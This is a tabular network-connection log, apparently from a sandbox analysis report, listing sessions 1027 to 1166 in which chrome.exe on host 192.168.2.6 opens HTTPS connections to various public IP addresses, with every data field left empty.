1027	192.168.2.6	50921	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1028	192.168.2.6	50922	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1029	192.168.2.6	50931	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1030	192.168.2.6	50927	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1031	192.168.2.6	50932	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1032	192.168.2.6	50934	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1033	192.168.2.6	50936	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1034	192.168.2.6	50924	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1035	192.168.2.6	50935	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1036	192.168.2.6	50926	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1037	192.168.2.6	50929	35.204.158.49	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1038	192.168.2.6	50930	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1039	192.168.2.6	50937	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1040	192.168.2.6	50945	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1041	192.168.2.6	50939	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1042	192.168.2.6	50940	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1043	192.168.2.6	50938	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1044	192.168.2.6	50942	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1045	192.168.2.6	50951	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1046	192.168.2.6	50941	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1047	192.168.2.6	50952	69.147.82.60	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1048	192.168.2.6	50949	91.228.74.200	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1049	192.168.2.6	50943	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1050	192.168.2.6	50962	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1051	192.168.2.6	50944	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1052	192.168.2.6	50950	35.210.53.219	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1053	192.168.2.6	50947	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1054	192.168.2.6	50963	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1055	192.168.2.6	50948	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1056	192.168.2.6	50946	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1057	192.168.2.6	50975	54.225.218.25	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1058	192.168.2.6	50976	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1059	192.168.2.6	50977	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1060	192.168.2.6	50955	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1061	192.168.2.6	50954	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1062	192.168.2.6	50953	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1063	192.168.2.6	50966	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1064	192.168.2.6	50964	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1065	192.168.2.6	50972	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1066	192.168.2.6	50967	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1067	192.168.2.6	50968	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1068	192.168.2.6	50973	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1069	192.168.2.6	50974	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1070	192.168.2.6	50980	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1071	192.168.2.6	50959	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1072	192.168.2.6	50961	18.203.106.185	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1073	192.168.2.6	50960	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1074	192.168.2.6	50969	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1075	192.168.2.6	50970	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1076	192.168.2.6	50971	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1077	192.168.2.6	50978	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1078	192.168.2.6	50979	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1079	192.168.2.6	50986	35.186.253.211	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1080	192.168.2.6	50991	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1081	192.168.2.6	50982	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1082	192.168.2.6	50983	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1083	192.168.2.6	50984	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1084	192.168.2.6	50992	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1085	192.168.2.6	50987	3.121.27.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1086	192.168.2.6	50990	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.6	50985	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.6	50995	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.6	50994	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.6	50989	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.6	50998	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.6	50997	35.210.53.219	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.6	50988	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.6	51002	35.244.159.8	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.6	51000	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.6	51001	172.217.18.2	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.6	51004	142.250.181.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.6	51003	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.6	51005	13.224.222.65	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.6	51015	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.6	51014	162.247.243.39	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.6	51017	34.111.113.62	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.6	51019	151.101.193.44	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.6	51009	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.6	51006	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.6	51007	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.6	51013	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1108	192.168.2.6	51012	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1109	192.168.2.6	51016	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1110	192.168.2.6	51020	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1111	192.168.2.6	51018	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1112	192.168.2.6	51026	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1113	192.168.2.6	51030	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1114	192.168.2.6	51024	23.211.10.95	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1115	192.168.2.6	51023	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1116	192.168.2.6	51031	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1117	192.168.2.6	51027	151.101.66.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1118	192.168.2.6	51022	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1119	192.168.2.6	51033	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1120	192.168.2.6	51048	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1121	192.168.2.6	51049	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1122	192.168.2.6	51034	37.252.171.21	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1123	192.168.2.6	51041	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1124	192.168.2.6	51044	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1125	192.168.2.6	51043	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1126	192.168.2.6	51051	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1127	192.168.2.6	51028	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1128	192.168.2.6	51032	18.244.18.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1129	192.168.2.6	51042	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1130	192.168.2.6	51040	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1131	192.168.2.6	51039	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1132	192.168.2.6	51035	46.228.174.117	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1133	192.168.2.6	51047	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1134	192.168.2.6	51052	162.247.243.29	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1135	192.168.2.6	51046	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1136	192.168.2.6	51045	35.214.149.91	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1137	192.168.2.6	51054	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1138	192.168.2.6	51055	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1139	192.168.2.6	51053	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1140	192.168.2.6	51056	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1141	192.168.2.6	51059	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1142	192.168.2.6	51057	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1143	192.168.2.6	51058	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1144	192.168.2.6	51061	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1145	192.168.2.6	51062	37.252.171.21	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1146	192.168.2.6	51063	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1147	192.168.2.6	51066	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1148	192.168.2.6	51067	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1149	192.168.2.6	51065	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1150	192.168.2.6	51064	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1151	192.168.2.6	51069	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1152	192.168.2.6	51068	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1153	192.168.2.6	51070	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1154	192.168.2.6	51071	54.171.72.23	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1155	192.168.2.6	51072	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1156	192.168.2.6	51094	151.101.130.27	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1157	192.168.2.6	51073	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1158	192.168.2.6	51074	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1159	192.168.2.6	51086	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1160	192.168.2.6	51096	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1161	192.168.2.6	51098	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1162	192.168.2.6	50763	172.66.47.157	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1163	192.168.2.6	51103	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1164	192.168.2.6	51107	209.54.182.161	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1165	192.168.2.6	51104	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1166	192.168.2.6	51109	76.223.111.18	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
